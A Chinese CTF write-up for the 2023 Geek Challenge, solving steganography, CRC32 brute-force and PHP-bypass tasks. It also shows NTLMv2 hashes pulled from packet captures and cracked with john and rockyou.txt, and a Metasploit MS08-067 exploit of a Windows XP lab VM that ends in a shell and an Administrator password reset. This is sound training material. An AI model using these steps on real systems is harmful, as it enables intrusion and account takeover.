2023极客大挑战

misc

DEATH_N0TE(图片放缩)

题目说有两部分flag 且隐写信息极多 那就好说多了 直接考虑图片隐写

image-20231028131843223

使用010editor在图片尾找到一串字符 进行base解码

"你找到了一本《DEATH NOTE》,好奇心驱使你翻开这本笔记,你阅读了使用规则,但是你惊讶地发现刚才的规则之中唯独没有第10条..."
"你再次去确认是否如此,笔记上的文字却仿佛活了起来,在你眼中不断地放大缩小,你闭上了双眼..."
"原本黑色的文字一转变成血红色,诡异的画面还是出现于你的视网膜前,你决定不再纠结于遗失的规则,幻觉消失了..."

既然是png文件 在考虑一下lsb隐写

一看这幅死样子 果然有问题

image-20231028130932821

提取一下信息 在r g b三通道的0位 又是一串base编码

image-20231028131028697

解码 得到第一部分flag

"你继续观察手上漆黑色的笔记本,冷静下来的你发现了藏在封面最下边的一行小字:SYC{D4@Th_N0t4_"
"你浏览过整个笔记本,可惜全是空白页,其中有一页不知道被谁撕掉了,你最终还是翻到了缺失的那一页"
"你用铅笔涂抹着后面一页,上面缓缓出现了遗失的痕迹..."

在观察lsb隐写的时候就会发现 图片表面好像是有水印一样 依稀能辨认出是什么字符

image-20231028131506633

猜测是一些奇怪字体的英文字母 结合是《死亡笔记》的大背景 搜索一下

image-20231028131556530

确认是哥特字体 找个对照图 死亡笔记中哥特字体对照图 有一点要注意 原图下半部分颜色太亮 会影响水印的观察读取 使用ps将颜色调成全黑 就可以看清了

image-20231028131707893

image-20231028131719892

image-20231028131801643

image-20231028131821465

分成四部分来看 结果是

TkFNRV9vMnRha3VYWH0=

看到后面有等号 鉴定为base64 解码

NAME_o2takuXX}

现在两部分flag就全了

SYC{D4@Th_N0t4_NAME_o2takuXX}

但其实还是需要练习一下写脚本的能力

根据前面文字中的第10条放大缩小 猜测需要将原图片缩小10倍

image-20231202200110895

查看原图片像素为(3300,1800) 那么缩小10倍就是(330,180)

写脚本

from PIL import Image

img = Image.open("kamisama.png")

size = img.size
small_size = (int(size[0] / 10), int(size[1] / 10))

img_small = img.resize(small_size, Image.NEAREST)

img_small.save("flag.png")

这里要注意 要使用PIL库中缩放图片算法中的NEAREST模式

DEATH_N1TE

第一部分看到动态图 一眼拼图 先把webp动态图转换为gif图webp转gif 在分帧

使用montage拼图 gaps恢复顺序

montage ./*.png -tile 40x22 -geometry +0+0 flag.png
gaps --image=flag.png --generations=200 --size=48 --save

拼的不是特别完美 但是可以看出是base64编码

image-20231103091126052

拿到后半部分flag

image-20231103091207601

_14_Ki114R}

后面的音频 一听就是慢扫描电视 把后半部分提取出来

image-20231103092040221

使用工具将图片扫出来 得到第一部分flag

image-20231103092106149

SYC{H4xr0t0r

DEATH-N2TE(gif分帧 图片放缩 像素拼接)

"你知道了真相,正带上《DEATH NOTE》准备逃离,恰好,Muscial发给你一个视频,并说:" "[这里记下了他的真名以及照片,请写在那本笔记上面,我和Arahat0都被他看见了真名...]"。 

观察视频 可以看到很明显的竖列白色像素条经过

image-20231203122830104

首先对图片进行分帧 找个软件就行 分出192张图片

image-20231203121724885

和DEATH_N0TE一样 先写个脚本将这些图片缩小十倍 原图片每张是1920x1080 那缩小后就是192x108

from PIL import Image

for i in range(1, 193):
    img = Image.open(r'E:\Desktop\比赛/2023极客大挑战\misc\DEATH_N2TE\out/frame_{}.png'.format(i))
    size_small = (192,108)
    img_small = img.resize(size_small, Image.NEAREST)
    img_small.save(r"E:\Desktop\比赛/2023极客大挑战\misc\DEATH_N2TE\out\small\{}.png".format(i))

然后在写脚本将这些像素点进行拼接即可

from PIL import Image

img1 = Image.new("RGB", (192,108), 0)
for i in range(1, 193):
    img = Image.open(r"E:\Desktop\比赛\2023极客大挑战\misc\DEATH_N2TE\out\small/{}.png".format(i))
    img.convert("1")
    for x in range(192):
        if x+1 == i:
            for y in range(108):
                img1.putpixel((x,y),img.getpixel((x,y)))
img1.save("flag.png")

image-20231203193625446

xqr(图片等比例放大缩小 图片异或)

给了一张二维码 扫一下 是false flag

image-20231201203621826

在这张二维码的后面 还有一个图片 提取出来

image-20231201204635440

看起来也是一张二维码 但是没有四个定位点 猜测需要异或 wp中说直接放在ps中 使用差值模式就可以得到反向flag

image-20231201205048854

扫码就可以得到flag

这个方法有点抽象 这边使用另一个方法 通过观察发现 原图片像素为75x75 分离出来的图片像素是25x25 刚好是原图片的1/3

写个脚本 先将分离出来的图片等比例放大到75x75的像素

from PIL import Image

img_input = Image.open("1.png") # 打开图片
size_origin = img_input.size    # 读取像素
size_big = (int(size_origin[0]*3), int(size_origin[1]*3))  # 扩大像素

img_big = img_input.resize(size_big, Image.LANCZOS) # 创建新图片 

new_size = (75, 75)
new_img = Image.new("RGBA", new_size, (255,255,255))  # 创建新画布
position = ((new_size[0] - size_big[0]) // 2, (new_size[1] - size_big[1]) // 2) # 确保新图片在新画布中心

new_img.paste(img_big, position)           # 将新图片放在新画布上

new_img.save("0.png")  # 保存图片

在写脚本 将两张图片异或

from PIL import Image
import numpy

img1 = Image.open("0.png")
img2 = Image.open("xqr.png")

array1 = numpy.array(img1)
array2 = numpy.array(img2)

xor_result = numpy.bitwise_xor(array1, array2)  # 对两张图片的像素进行逐位异或

result_img = Image.fromarray(xor_result)        # 从NumPy数组创建新图像

result_img.save("flag.png")

image-20231201215744925

扫码即可

extractme(压缩包crc32爆破)

打开压缩包

image-20231202194137644

发现每个文件都很小 且大小一样 给出了crc32校验值 想到crc32爆破

写个脚本 循环爆破一下

from binascii import crc32
import string

crc_values = [0x8712de1d, 0x06eacbd7, 0x20a8e291, 0x31ee3074, 0x77aacf7f, 0x35fb7c6c, 0xf978d5aa, 0x016f7a0b]
char_set = string.printable
flag = dict(zip(crc_values, [None]*len(crc_values)))  # 创建一个字典flag zip函数将两个列表中的元素一一配对 字典中的键是crc_values中的值 键对应的值是None

for a in char_set:
    for b in char_set:
        for c in char_set:
            for d in char_set:
                s = a + b + c + d
                crc_result = crc32(bytes(s, 'ascii')) & 0xffffffff  # 计算字符串s的crc32值
                if crc_result in crc_values:
                    print(s, hex(crc_result))
                    flag[crc_result] = s        # 当crc_values的值和crc_result匹配上时 将字典flag中对应于CRC32值crc_result的项的值更新为字符串s

print(''.join([str(_) for _ in flag.values()]))  # 使用列表推导式遍历 flag 字典的所有值 将每个值转化为字符串 使用join方法连接每个字符串形成一个单独的字符串

# SYC{_cR@ck_1s_Useful_sometime$_}

ez_smilemo

没玩出来 看官方wp说搜一个可以打开data.win文件的工具 UndertaleModTool

image-20231202195600301

下好后 使用Undertalemodtool打开data.win 直接搜索flag 可以找到一段关于flag的代码和flag的base64值

c20xbGVfMXNfQF9uMWNlX2dAbWU=

sm1le_1s_@_n1ce_g@me

窃听风云(有NTLMv2散列的pcap文件)

题目描述:
Hacker捕获到了一段敌对公司的对话信息流量,你能从流量中分析出Jack的密码吗,flag为SYC{password}

参考文章 9步从pcap文件中提取并破解 NTLMv2 哈希

首先 看到流量包中有http协议 先导出一下HTTP

image-20231202204849122

在其中一个chat.txt文件中找到线索

Boss: Jack, what's the matter with you? This year in HW, the red team used a weak password to log in to your account again!
Jack: Sorry boss, but the password I set is already very long.
Boss: Among the clues provided by the referee, it is said that your password is in a dictionary called rockyou.txt.gz
Jack: Okay, I'll modify it as soon as possible
Boss: Wait, are you still using that password?
Jack: Yes, what's wrong?
Boss: Damn, someone overheard our conversation. Exit the chat room immediately!

大概意思是要我们找到Jack设置的弱密码 这个密码在rockyou.txt这个字典中还出现过

那提到rockyou.txt 肯定要想到爆破哈希密码了 本题就是NTLMv2哈希密码

那我们直接跟着参考文章中的步骤一点点找

1.先过滤ntlmssp字段 获得身份验证的握手包

image-20231202210215044

2.查找NTLMSSP_AUTH包 查看HTTP数据 看到用户名和域名

image-20231202210435547

User name:jack
Host name:CLIENT01

3.找到NTProofStr字段和NTLMv2的响应部分

image-20231202213216475

ntlmssp.ntlmv2_response.ntproofstr:2d1d24572b15fe544043431c59965d30
ntlmssp.ntlmv2_response:2d1d24572b15fe544043431c59965d300101000000000000040d962b02edd901e6994147d6a34af200000000020012005700490044004700450054004c004c004300010008004400430030003100040024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c0003002e0044004300300031002e005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c00050024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c0007000800040d962b02edd90106000400020000000800300030000000000000000000000000300000078cdc520910762267e40488b60032835c6a37604d1e9be3ecee58802fb5f9150a001000000000000000000000000000000000000900200048005400540050002f003100390032002e003100360038002e0030002e0031000000000000000000

但是注意响应部分是以NTProofStr字段开头的 要将这部分删掉

4.过滤筛选出ntlmssp.ntlmserverchallenge 找到NTLM Server Challenge字段

image-20231202213540576

NTLM Server Challenge: 2af71b5ca7246268

5.写hash文件

username::domain:ServerChallenge:NTproofstring:modifiedntlmv2response

jack::WIDGETLLC:2af71b5ca7246268:2d1d24572b15fe544043431c59965d30:0101000000000000040d962b02edd901e6994147d6a34af200000000020012005700490044004700450054004c004c004300010008004400430030003100040024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c0003002e0044004300300031002e005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c00050024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c0007000800040d962b02edd90106000400020000000800300030000000000000000000000000300000078cdc520910762267e40488b60032835c6a37604d1e9be3ecee58802fb5f9150a001000000000000000000000000000000000000900200048005400540050002f003100390032002e003100360038002e0030002e0031000000000000000000

6.使用hashcat或者john爆破密码

john --wordlist=rockyou.txt --user=jack hash.txt out.txt
john hash.txt -show

image-20231203112929933

所以泄漏的密码为

iamjackpassword

窃听风云v2

题目描述:
这次Hacker捕获到了Jack登录邮件系统的流量,你还能从流量中分析出Jack的密码吗,flag为SYC{password}

考的还是ntlm的hash 但是是被base64加密之后的

image-20231203195518193

在服务端返回250和235代码之间的包是认证的过程 从这几个包里面找和上一道题一样的hash

题目说是邮件 找SMTP流量 SMTP11包是认证成功的包 在这里解base64

image-20231203195350638

和上题一样 开始找hash内容

image-20231203200346363

username::domain:ServerChallenge:NTproofstring:modifiedntlmv2response
username: jack
domain: WidgetLLC.Internal

image-20231203201020167

NTLM Server Challenge: 3e3966c8cacd29f7

image-20231203201052345

NTProofStr: ddd46fd8f78c262eae16918f66185497

NTLMv2 Response: ddd46fd8f78c262eae16918f66185497010100000000000050fd26d235edd9011219408ccb8a364800000000020012005700490044004700450054004c004c0043000100100043004c00490045004e00540030003300040024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c000300360043004c00490045004e005400300033002e005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c00050024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c000700080050fd26d235edd90106000400020000000800300030000000000000000000000000300000c78e803920758ec5672c36696ee163f6a4e61c8b5463c247daef8571677995a40a001000000000000000000000000000000000000900200053004d00540050002f0075006e007300700065006300690066006900650064000000000000000000

合在一起

jack::WidgetLLC.Internal:3e3966c8cacd29f7:ddd46fd8f78c262eae16918f66185497:010100000000000050fd26d235edd9011219408ccb8a364800000000020012005700490044004700450054004c004c0043000100100043004c00490045004e00540030003300040024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c000300360043004c00490045004e005400300033002e005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c00050024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c000700080050fd26d235edd90106000400020000000800300030000000000000000000000000300000c78e803920758ec5672c36696ee163f6a4e61c8b5463c247daef8571677995a40a001000000000000000000000000000000000000900200053004d00540050002f0075006e007300700065006300690066006900650064000000000000000000
john --wordlist=rockyou.txt hash1.txt out.txt
john hash1.txt --show

image-20231203201818216

jack100589barney

windows认证

时代的眼泪

非预期解是直接解压vmdk文件 在文件中找 flag就在桌面壁纸中

Tears_of_the_times-disk1.vmdk\Documents and Settings\Administrator\Local Settings\Application Data\Microsoft\Wallpaper1.bmp

image-20231202231748947

预期解就是小小的渗透一下

首先点击Tears of the times.ovf 将虚拟机导入vmware中 但是发现需要密码

image-20231202232444471

使用kali攻击机 先扫一下靶机的ip

nmap 192.168.160.0/24

扫出是192.168.160.154

image-20231202232525386

在进一步扫一下开放的端口

nmap -T4 -sC -sV 192.168.160.154

image-20231202232625013

也进一步证明了 我们扫出来的ip就是靶机ip

找一下windows xp系统经典漏洞

image-20231202233209226

里面提到的是ms08-067漏洞

image-20231202233255495

就找这个漏洞

search ms08_067

image-20231202233538548

use 0
set RHOST 192.168.160.154
run 
shell

image-20231202233737168

拿到shell之后 直接修改Administrator用户的密码

net user administrator 123456

image-20231202233911179

修改完毕 直接登陆 直接在桌面上看到flag了

image-20231202234000689

web

EzHttp

需要使用post传入username和password 随便传一个 然后抓包

image-20231028162430309

想到robots.txt 访问一下

image-20231028162605895

在访问一下/o2takuXX's_username_and_password.txt 得到username和password

image-20231028193242789

使用正确的账号密码进行登陆 是对http请求头进行操作 分别是

必须来源自sycsec.com
请使用Syclover浏览器
请使用Syc.vip代理

对http请求头进行修改

image-20231028213106688

对于最后一步

<?php

if($_SERVER['HTTP_O2TAKUXX']=="GiveMeFlag"){
    echo $flag;
}

?>

就是要求http请求头中的O2TAKUXX字段的值要为GiveMeFlag 这里要注意在php中 所有http请求头中的内容前都会有HTTP_前缀 所以我们真实需要在http请求头中上传的参数是O2TAKUXX

image-20231028215029154

easy_php(php绕过)

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);

highlight_file(__FILE__);
include_once('flag.php');
if(isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!') {
    if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024) {
        if (isset($_POST['qw']) && $_POST['yxx']) {
            $array1 = (string)$_POST['qw'];
            $array2 = (string)$_POST['yxx'];
            if (sha1($array1) === sha1($array2)) {
                if (isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!")) {
                    echo $flag;
                } else {
                    echo "再绕最后一步吧";
                }
            } else {
                echo "好哩,快拿到flag啦";
            }
        } else {
            echo "这里绕不过去,QW可不答应了哈";
        }
    } else {
        echo "嘿嘿嘿,你别急啊";
    }
}else {
    echo "不会吧不会吧,不会第一步就卡住了吧,yxx会瞧不起你的!";
}
?> 

第一步

preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']):这部分使用正则表达式来检查'syc'参数的值是否匹配模式'/^Welcome to GEEK 2023!$/i'。正则表达式中的'i'表示不区分大小写,也就是说,它会匹配值为"Welcome to GEEK 2023!"的任何大小写形式。
$_GET['syc'] !== 'Welcome to GEEK 2023!'是检查syc的值 需要完全不等于Welcome to GEEK 2023!

因为preg_match的判断中不区分大小写 因此一个大小写绕过就行
?syc=wELCOME TO geek 2023!

第二步

intval()函数将参数的内容转化为整数 要求lover中的值小于2023但是加一之后大于2024

根据intval()函数的使用方法,当函数中用字符串方式表示科学计数法时,函数的返回值是科学计数法前面的一个数,而对于科学计数法加数字则会返回科学计数法的数值 因此使用科学计数法绕过即可
&lover=1e6

第三步

上传两个参数qw和yxx 再将两个参数的值转化为字符串 传入array1和array2两个参数中

非常简单 随便传

第四步

要求被赋值后的array1和array2经过sha1加密计算后的值相等

在传入qw和yxx时 值相等即可
qw=0e1&yxx=0e1

第五步

参数中存在小数点 会将其转化为下划线所以传参之后的参数就不是题目中要求的参数名了

php的非法传参 在前面使用中括号替换掉第一个下划线即可
&SYC[GEEK.2023=Happy to see you!

image-20231029111111902

SYC{bgH2lFmnLIEkY1jIvl}